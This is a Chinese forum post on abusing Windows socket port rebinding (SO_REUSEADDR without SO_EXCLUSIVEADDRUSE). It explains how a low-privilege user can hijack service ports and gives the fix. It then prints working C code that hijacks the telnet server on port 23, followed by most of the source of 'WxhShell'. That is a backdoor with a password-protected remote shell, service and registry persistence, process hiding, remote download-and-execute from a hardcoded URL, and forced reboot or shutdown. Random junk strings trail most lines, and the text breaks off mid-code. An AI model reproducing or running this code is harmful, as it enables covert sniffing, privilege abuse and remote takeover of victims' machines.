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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M9N|Ql  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gr S,PKH  
f{)*"  
  saddr.sin_family = AF_INET; .CYq+^  
Z@h]dU5%a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *".7O*jjV  
SKS[Lf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7;_5 [_  
Ft|a/e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'Gc6ZSLM  
=uvv|@Z  
  这意味着什么?意味着可以进行如下的攻击:  r>G$u  
FINM4<s)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pkT a^I  
I|PiZ1]2 Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /!E /9[V  
T0SD|'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]xS< \{og  
SZ0Zi\W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d_yqmx?w  
zJV4)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  %"z W]  
r&H>JCRZ<=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }W YY5L8^  
i|=XW6J%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F{}z[0  
J LeV@NO  
  #include q3I,3?_  
  #include ``Nj Nd  
  #include C :e 'wmA  
  #include    0 @ ,@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dXOjaS# ~  
  int main() 1'g?B`  
  { 3O]e  
  WORD wVersionRequested; %bv<OMD  
  DWORD ret; #{]=>n)j  
  WSADATA wsaData; kTnvD|3_!P  
  BOOL val; 7IvCMb&%R  
  SOCKADDR_IN saddr; NeWssSje  
  SOCKADDR_IN scaddr; ;ndg,05_  
  int err; S-L6KA{  
  SOCKET s; ).&$pXj  
  SOCKET sc; pGOS'.K%t8  
  int caddsize; ilNm\fQ.  
  HANDLE mt; B(>_.x#kv  
  DWORD tid;   !Q?4sAB  
  wVersionRequested = MAKEWORD( 2, 2 ); cJty4m-  
  err = WSAStartup( wVersionRequested, &wsaData ); W6*(Y  
  if ( err != 0 ) { R vY`9D  
  printf("error!WSAStartup failed!\n"); ;Lu}>.t  
  return -1; P"~ B2__*  
  } 7/~"\nN:/  
  saddr.sin_family = AF_INET; ,CvU#ab8$  
   l@GpVdrv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F4PD3E_#  
me9RnPe:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |, :(3Ml  
  saddr.sin_port = htons(23); =6 [!'K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J^?O] |  
  { q&wMp{  
  printf("error!socket failed!\n"); AHLDURv  
  return -1; BujWql  
  } TLkkB09fvk  
  val = TRUE; Mu:H'$"'H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Isi ,Tl ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v(0vP}[Q7E  
  { 5<S1,u5  
  printf("error!setsockopt failed!\n"); Z uE 0'9  
  return -1; PJ_|=bn  
  } Sj*H4ZHD<&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s}A]lY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~7=,)Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o]FQ)WRB  
mH hm~u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O8lOr(|l  
  { WRnUF[y+)  
  ret=GetLastError(); |;].~7^  
  printf("error!bind failed!\n"); &fTCY-W[  
  return -1; 6v1j*'  
  } Fb*;5VNU.  
  listen(s,2); T&h|sa(   
  while(1) l==T3u r  
  { J) (pGS@  
  caddsize = sizeof(scaddr); EuAa  
  //接受连接请求 :')<|(Zy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N Lo>"<Xb  
  if(sc!=INVALID_SOCKET) 9hq7:  
  { hIw*dob  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F%Xq}LMd  
  if(mt==NULL) VOiphw`  
  { ;xRyONt  
  printf("Thread Creat Failed!\n"); k4|YaGhf  
  break; W}e5 4-lu  
  } 9*x9sfCv9  
  } _Ih~'Y Fd  
  CloseHandle(mt); isN"7y|r:X  
  } leiza?[  
  closesocket(s); \0:l9;^4  
  WSACleanup(); }{ P}P}  
  return 0; |?0C9  
  }   H<>x_}&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8Ej2JMc  
  { oo qNPLa  
  SOCKET ss = (SOCKET)lpParam; ugL$W@   
  SOCKET sc; vu1:8j  
  unsigned char buf[4096]; DS^Q0 f  
  SOCKADDR_IN saddr; 2 o.Mh/D0  
  long num; 'E@D  
  DWORD val; aR3W9  
  DWORD ret;  /f2*J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1,/oS&?E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4iw+3 Q|  
  saddr.sin_family = AF_INET; r+U-l#Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i\3`?d  
  saddr.sin_port = htons(23); lKa}Bcd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z$@Juv&>5^  
  { Kg%_e9nj#  
  printf("error!socket failed!\n"); +XQS -=  
  return -1; dtnAMa5$T  
  } avT>0b:  
  val = 100; #-{4 Jx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -yC},tK  
  { [3\}Ca1  
  ret = GetLastError(); 9SU;c l  
  return -1; VfQSfNsi  
  } 9iv!+(ni  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | 0&~fY  
  { O/FQ'o1F  
  ret = GetLastError(); EJRwyF5 LK  
  return -1; Bt.WRRpAB  
  } m7d? SU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )Z]8SED  
  { gXF.e.uU  
  printf("error!socket connect failed!\n"); 1_F2{n:yp  
  closesocket(sc); <8'}H`w%  
  closesocket(ss); yYW>)  
  return -1; C^ uXJ~8  
  } M,7v}[Tbl  
  while(1) m. XLpD  
  { AJj6@hi2P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oo /#]a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T[c ;},  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zHyM@*Gf(  
  num = recv(ss,buf,4096,0); \[Q,>{^  
  if(num>0) p6sXftk  
  send(sc,buf,num,0); xC{W_a(  
  else if(num==0) }2G'3msx  
  break; mgg/i@(  
  num = recv(sc,buf,4096,0); 0b4QcfB1[  
  if(num>0) cE[4CCpy  
  send(ss,buf,num,0); dMYDB  
  else if(num==0) hX<0{pXM4  
  break; yv&&x.!.Z  
  } C?X^h{T p  
  closesocket(ss); 6=iz@C7r  
  closesocket(sc); 1_f(;WOg  
  return 0 ; <&Y7Q[  
  } Ij4oH  
:6%wVy5  
g&X$)V4C  
========================================================== U+URj <)  
y&UcTE2;%(  
下边附上一个代码,,WXhSHELL bF<FX_}!s!  
jq%Qc9y  
========================================================== l7nc8K  
7<=xc'*8t  
#include "stdafx.h" R>yoMk/u  
[a`89'"z  
#include <stdio.h> 3Oy?_a$  
#include <string.h> VPet1hAy  
#include <windows.h> o^}K]ML!t  
#include <winsock2.h> I^emH+!MW  
#include <winsvc.h> u%}zLwMH  
#include <urlmon.h> V+(1U|@~  
w9G (^jS6  
#pragma comment (lib, "Ws2_32.lib") 7'LKyy !"3  
#pragma comment (lib, "urlmon.lib") !g'kWE[  
jZx.MBVy]  
#define MAX_USER   100 // 最大客户端连接数 $qV, z  
#define BUF_SOCK   200 // sock buffer & =)HPzC  
#define KEY_BUFF   255 // 输入 buffer j  Jt"=  
jb|al[p\  
#define REBOOT     0   // 重启 &@<Z7))  
#define SHUTDOWN   1   // 关机 Y23- Im  
*j6K QZ"  
#define DEF_PORT   5000 // 监听端口 3"FvYv{  
9J+ p.N  
#define REG_LEN     16   // 注册表键长度 '1+s^Q'pc  
#define SVC_LEN     80   // NT服务名长度 Tr*3:J }  
F>RL&i  
// 从dll定义API JFewOt3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mE\sD<b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W8,4LxH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nvY%{Zf$}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |Tv}leJF  
:{BD/6  
// wxhshell配置信息 & 6 wD  
struct WSCFG { A{NKHn>%`  
  int ws_port;         // 监听端口 +Np[m$Z *  
  char ws_passstr[REG_LEN]; // 口令 amvD5  
  int ws_autoins;       // 安装标记, 1=yes 0=no &YpViC4K.  
  char ws_regname[REG_LEN]; // 注册表键名 # 0kVhx7%  
  char ws_svcname[REG_LEN]; // 服务名 UI2TW)^2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x$hhH=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &tVIl$e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C-)mP- |8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !B|Aq- n,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hQ7-m.UZw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /|s~X@%K  
#z6[ 8B  
}; vG'6?%38  
00SYNG!  
// default Wxhshell configuration F+@/"1c  
struct WSCFG wscfg={DEF_PORT, RW-) ({  
    "xuhuanlingzhe", T3wQRn  
    1, $|"Y|3&X  
    "Wxhshell", :Oiz|b(  
    "Wxhshell", =M6Ph%  
            "WxhShell Service", FP=up#zl  
    "Wrsky Windows CmdShell Service", 4t 5i9+h  
    "Please Input Your Password: ", DplS\}='s  
  1, IN8G4\r  
  "http://www.wrsky.com/wxhshell.exe", 2]of 4  
  "Wxhshell.exe" ,Iv eKk5W  
    }; {'8td^JEE  
& zR\Rmpt  
// 消息定义模块 v*";A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yopC <k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^%n]_[RUn4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9| g]M:{  
char *msg_ws_ext="\n\rExit."; Z)&!ZlM  
char *msg_ws_end="\n\rQuit."; -=cxUDB  
char *msg_ws_boot="\n\rReboot..."; gU&y5s~  
char *msg_ws_poff="\n\rShutdown..."; aP$it 6Z  
char *msg_ws_down="\n\rSave to "; 6o0}7T%6  
S;0z%$y  
char *msg_ws_err="\n\rErr!"; Tbp;xv_qo  
char *msg_ws_ok="\n\rOK!"; K'Y/0:"*  
T>hrKn.!D:  
char ExeFile[MAX_PATH]; ^GpLl   
int nUser = 0; 9])Id;+91  
HANDLE handles[MAX_USER]; f\;w(_  
int OsIsNt; $l $p|  
v<@3&bot  
SERVICE_STATUS       serviceStatus; 1=Kt.tuf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t[r 6jo7  
b>-h4{B[  
// 函数声明 !,+<?o y  
int Install(void); ;E_Go&Vd  
int Uninstall(void); htT9Hrx  
int DownloadFile(char *sURL, SOCKET wsh); 0tz? sN  
int Boot(int flag); [uwn\-  
void HideProc(void); SBy{sbx4&F  
int GetOsVer(void); bf=!\L$  
int Wxhshell(SOCKET wsl); p/yz`m T'w  
void TalkWithClient(void *cs); (mr*Thy`@  
int CmdShell(SOCKET sock); -%Rw2@vU  
int StartFromService(void); m@Dra2Cv'@  
int StartWxhshell(LPSTR lpCmdLine); Hu9nJ  
znB+RiV8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /Xq|S O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1M.#7;#B3  
&q&~&j'[  
// 数据结构和表定义 u/<ZGW(&s(  
SERVICE_TABLE_ENTRY DispatchTable[] = sib/~j  
{ deQ {  
{wscfg.ws_svcname, NTServiceMain}, =0L%<@yA  
{NULL, NULL} /!JxiGn  
}; %"cOX  
@~Ys*]4UE  
// 自我安装 L8q#_k  
int Install(void) |"PS e~ u  
{ H<}|n1w<  
  char svExeFile[MAX_PATH]; "n{';Q)  
  HKEY key; ALn_ifNh  
  strcpy(svExeFile,ExeFile); /0cm7[a?  
=jKu=!QPq  
// 如果是win9x系统,修改注册表设为自启动 /Xj{]i3{  
if(!OsIsNt) { E,F^!4 rJ$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yZ!~m3Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E2 FnC}#W  
  RegCloseKey(key); 7IFZK\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ #ih o(/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r@zs4N0WP  
  RegCloseKey(key); %y\5L#T!>  
  return 0; #eN2{G=4+  
    } ~9OZRt[&  
  } !4!qHJISa  
} HY eCq9S  
else { #6 ni~d&0  
*3P+K:2lNG  
// 如果是NT以上系统,安装为系统服务 V;g) P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H)h^|A/vO  
if (schSCManager!=0)  Lagk   
{ JU;`c>8=)  
  SC_HANDLE schService = CreateService $&qLr KJ  
  ( #?+[|RS|  
  schSCManager, wd32q7lGo1  
  wscfg.ws_svcname, WVsj  
  wscfg.ws_svcdisp, E<}sGzMc  
  SERVICE_ALL_ACCESS, cHVJ7yAZI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b%*`}B  
  SERVICE_AUTO_START, $m~&| s  
  SERVICE_ERROR_NORMAL, 3UmkFK<  
  svExeFile, r7].48D  
  NULL, OiXO<1'$  
  NULL, d>mT+{3  
  NULL, M%la@2SK=  
  NULL, [mQ1r*[j  
  NULL oemN$g&7  
  ); %WKBd \O  
  if (schService!=0) !s^XWsb8  
  { 0>Td4qr+u  
  CloseServiceHandle(schService); YlUh|sK7m  
  CloseServiceHandle(schSCManager); &o7PB` (l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !'rdHSy  
  strcat(svExeFile,wscfg.ws_svcname); 16]Ay&Kn!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JIw?]xa*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^&C/,,U  
  RegCloseKey(key); }y+Qj6dP  
  return 0; 3uxf n=E  
    } }aVzr}!  
  } N8df1>mW  
  CloseServiceHandle(schSCManager); J=78p#XUg  
} u?fM.=/N  
} ,u^{zYoW  
#]5KWXC'~  
return 1; P qC#[0Qy  
} ^`i z%^  
Dn J `]r  
// 自我卸载 j;b>~_ U%  
int Uninstall(void) 3M+rFB}tS  
{ gm,AH85  
  HKEY key; QEbf]U=  
 !QvmzuK  
if(!OsIsNt) { gED|2%BXb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h!JyFc  
  RegDeleteValue(key,wscfg.ws_regname); MZX)znO  
  RegCloseKey(key); Li|~%E1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; U7P{e05  
  RegDeleteValue(key,wscfg.ws_regname); fNu/>pN  
  RegCloseKey(key); T%& vq6  
  return 0; r5UV BV8T  
  } u&c%L0)E&  
} ?Y -;781  
} dmXfz D  
else { =bja\r{  
0wNlt#G;{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w0Nm.=I-   
if (schSCManager!=0) "0Z /|&  
{ [^ r8P:Ad  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x:~XZX\mwH  
  if (schService!=0) et~D9='E  
  {  XD8 I.q  
  if(DeleteService(schService)!=0) { SPdEO3  
  CloseServiceHandle(schService); 5yK#;!:h  
  CloseServiceHandle(schSCManager); 'Ca;gi !U  
  return 0; Rh)XYCM  
  } R31Z(vY  
  CloseServiceHandle(schService); 5EVypw?]x  
  } W!\%v"  
  CloseServiceHandle(schSCManager); &}Wi@;G]2  
} {_*G"A 9  
} XKZsX1=@R  
|5dNJF8;Q  
return 1; X[tB^`  
} Kf[.@_TD<1  
X>uLGr>  
// 从指定url下载文件 L>1y[ Q  
int DownloadFile(char *sURL, SOCKET wsh) ^?(#%~NS  
{ :;hg :Q:  
  HRESULT hr; DjN1EP\Xx  
char seps[]= "/"; ?yj g\S?L  
char *token; 8'zl\:@N  
char *file; tw<Oy^ i  
char myURL[MAX_PATH]; Dzu//_u  
char myFILE[MAX_PATH]; 0U*f"5F  
tKe-Dk9  
strcpy(myURL,sURL); <Fx%P:d  
  token=strtok(myURL,seps); `W+-0F@Y?@  
  while(token!=NULL) . 70=xH  
  { GT] >  
    file=token; _6h.<BR  
  token=strtok(NULL,seps); *My9r.F5o  
  } XgnNYy6W  
qyVARy  
GetCurrentDirectory(MAX_PATH,myFILE); n CX{tqy   
strcat(myFILE, "\\"); $)KODI>|  
strcat(myFILE, file); (G./P@/[  
  send(wsh,myFILE,strlen(myFILE),0); H?Sv6W.~  
send(wsh,"...",3,0); 1twpOZ>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3J 5,V  
  if(hr==S_OK) 2!W[ff@~7  
return 0; \*{MgwF  
else rA?< \*  
return 1; y5aPs z  
_U4@W+lhX_  
} )nj fqg  
F|m &n&  
// 系统电源模块 -u"|{5? '  
int Boot(int flag) t&w.Wc X)  
{ ??.aLeF&  
  HANDLE hToken; 3`{ vx  
  TOKEN_PRIVILEGES tkp; R(&3})VOa  
',]Aj!q  
  if(OsIsNt) { VKYljY0#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5+oY c-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D8~\*0->  
    tkp.PrivilegeCount = 1; V*2 * 5hx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i!UT =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 Cd5-I  
if(flag==REBOOT) { 0iR?r+|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .L%pWRxA[  
  return 0; .XeZjoJ$z  
} (X5y%~;V5a  
else { - uO(qUa#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F{Yr8(UHA  
  return 0; Ue Z(@6_:  
} G;wh).jG5  
  } : 4-pnn  
  else { _!,2"dS  
if(flag==REBOOT) { ~}ifwm'7 a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %WR"qd&HSh  
  return 0; `~lG5|  
} `# !>}/m  
else { }Ptv[{q]GE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ft@#[Bkx  
  return 0; &#u\@Qze  
} '?.']U,: $  
} >jTiYJI_M  
v)|a}5={  
return 1; (gvnIoDl0  
} {0fQE@5@  
d^tY?*n  
// win9x进程隐藏模块 bW/T}FN D  
void HideProc(void) l]t^MEoc8  
{ Yg&/^  
p^w)@^f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |cuKC \  
  if ( hKernel != NULL ) z.)*/HGJm  
  { I(&N2L$-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "^{Hta  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Y->EME:W  
    FreeLibrary(hKernel); O#J7GbrHO  
  } KkzG#'I1  
*'M+oi  
return; W:wSM *  
} Cl& )#  
o,J8n;"l  
// 获取操作系统版本 Unt]=S3u  
int GetOsVer(void) >bhF{*t#;y  
{ qyy .&+  
  OSVERSIONINFO winfo; As^eL/m2L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9X#]Lg?b  
  GetVersionEx(&winfo); >XuPg(Ow  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j3+ hsA/(k  
  return 1; i~<.@&vt  
  else AhjCRYk+  
  return 0; 6Qz=g t%I=  
} E"/k"1@  
%g>k0~TRf#  
// 客户端句柄模块 Dcs O~mg  
int Wxhshell(SOCKET wsl) Ho&f[T(  
{ w_QWTD 0  
  SOCKET wsh; ,PKUgL}w  
  struct sockaddr_in client; %|R]nB  
  DWORD myID; wF6a*b@v  
n1R{[\ >1  
  while(nUser<MAX_USER) $kR%G{j 4  
{ md\Vw?PkU  
  int nSize=sizeof(client); jzi^ OI7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,]9p&xu  
  if(wsh==INVALID_SOCKET) return 1; ]D2 d=\  
4QiV@#o:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g*4^HbVxt  
if(handles[nUser]==0) bG.`>   
  closesocket(wsh); *'{9(Oj  
else zY4y]k8D*  
  nUser++; A&-2f]L tl  
  } <{Rz1CMc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'XYjo&w  
Eh9{n,5-  
  return 0; t""Y -M  
} 3Dj>U*fP  
n5fc_N/8O=  
// 关闭 socket Yfz`or\@=  
void CloseIt(SOCKET wsh) x;STt3M~  
{ c47.,oTo  
closesocket(wsh); \K Kt& bKL  
nUser--; l?^}n(_.  
ExitThread(0); J/Ch /Sa  
} wo86C[  
qyY/:&E,Z  
// 客户端请求句柄 uCWBM  
void TalkWithClient(void *cs) 2,h]Y=.s  
{ fLkC|  
/Hq#!2)  
  SOCKET wsh=(SOCKET)cs; #Qu|9Q[QH  
  char pwd[SVC_LEN]; bl|)/)6o  
  char cmd[KEY_BUFF]; g- INhzMu  
char chr[1]; VZk;{  
int i,j; |B\76Nk  
`@<)#9'A  
  while (nUser < MAX_USER) { H]{`q  
iYr*0:M  
if(wscfg.ws_passstr) { Y5mk*Q#q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 97}l`z;Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Z-YZ>2  
  //ZeroMemory(pwd,KEY_BUFF); xu'b@G}12  
      i=0; 5~i}!n  
  while(i<SVC_LEN) { ^|cax| >  
Gs*X> D  
  // 设置超时 e~6>8YO+7j  
  fd_set FdRead; 4(8BWP~.y2  
  struct timeval TimeOut; o4B%TW  
  FD_ZERO(&FdRead); #<-%%  
  FD_SET(wsh,&FdRead); x^YsXzu  
  TimeOut.tv_sec=8; 7wbpQ&1_  
  TimeOut.tv_usec=0; L^ U.h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gI+dyoh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <7MxI@\  
[](] "r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t"&qaG{  
  pwd=chr[0]; <EuS6Pg  
  if(chr[0]==0xd || chr[0]==0xa) { 7{OD/*|  
  pwd=0; ev5m(wR  
  break; Tnnj8I1v  
  } m P./e8  
  i++; lMjeq.5nP  
    } @u-CR8^  
f(c#1AJE53  
  // 如果是非法用户,关闭 socket x0dBg~I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #sf1,k5'  
} ~HUO$*U4<  
Mg\8m-L^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [T2!,D.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y\9zjewc  
z3|5E#m  
while(1) { p $,ZYF~  
1Zgv+.  
  ZeroMemory(cmd,KEY_BUFF); 3s,a%GOk  
W@vCMy!  
      // 自动支持客户端 telnet标准   >q1rdq  
  j=0; |k/;1.b!9(  
  while(j<KEY_BUFF) { rCdTn+O2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pt7yYl&n7^  
  cmd[j]=chr[0]; 7,R ~2ss5z  
  if(chr[0]==0xa || chr[0]==0xd) { XlxM.;i0H  
  cmd[j]=0; ##yH*{/&  
  break; VP6_}9:9   
  } -nGLmMvd  
  j++; d PF*G$  
    } srd\Mf_Ej  
i dY Xv)R  
  // 下载文件 mS &^xWPV  
  if(strstr(cmd,"http://")) { cbv%1DT3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S1_):JvV  
  if(DownloadFile(cmd,wsh)) "V<7X%LIX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHioM{S  
  else 7m;<b$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $`"$ZI6[  
  } wI#R\v8(`n  
  else { x8RiYi+  
7Q # A  
    switch(cmd[0]) { fOz.kK[]  
  #8a k=lL  
  // 帮助 JYa3xeC;  
  case '?': { Qsr+f~"W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p)*x7~3e  
    break; | =tGrHL  
  } GBGna3  
  // 安装 fWl #CI\]  
  case 'i': { >ToI$~84  
    if(Install()) PS`F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:lMRP~  
    else eVGW4b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT-ONwVDq  
    break; C$`^(?iO/  
    } MQl GEJ  
  // 卸载 5O:4-} hz  
  case 'r': { rnM C[  
    if(Uninstall()) 7O'u5 N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rh6 e  
    else #[sJKW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,o [FUi(#@  
    break; ;H"OZRQ  
    } _ IlRZ}f  
  // 显示 wxhshell 所在路径 M~g@y$  
  case 'p': { z]1g;j  
    char svExeFile[MAX_PATH]; 3tCT"UvTD  
    strcpy(svExeFile,"\n\r"); 5YQJNP  
      strcat(svExeFile,ExeFile); [.nkNda5)v  
        send(wsh,svExeFile,strlen(svExeFile),0); ])vqXjN6"  
    break; ) {4$oXQ  
    } 5$/Me=g<  
  // 重启 5)p!}hWs  
  case 'b': { r-&* `Jh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fhs/<w-  
    if(Boot(REBOOT)) __)"-\w-_(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VaTA|=[;  
    else { ?)e6:T(  
    closesocket(wsh); `6{4?v  
    ExitThread(0); d@ tD0s  
    } E=qfI>2U&  
    break; r,wC5%&Za  
    } fP{IW`t}]  
  // 关机 9oVprd >%@  
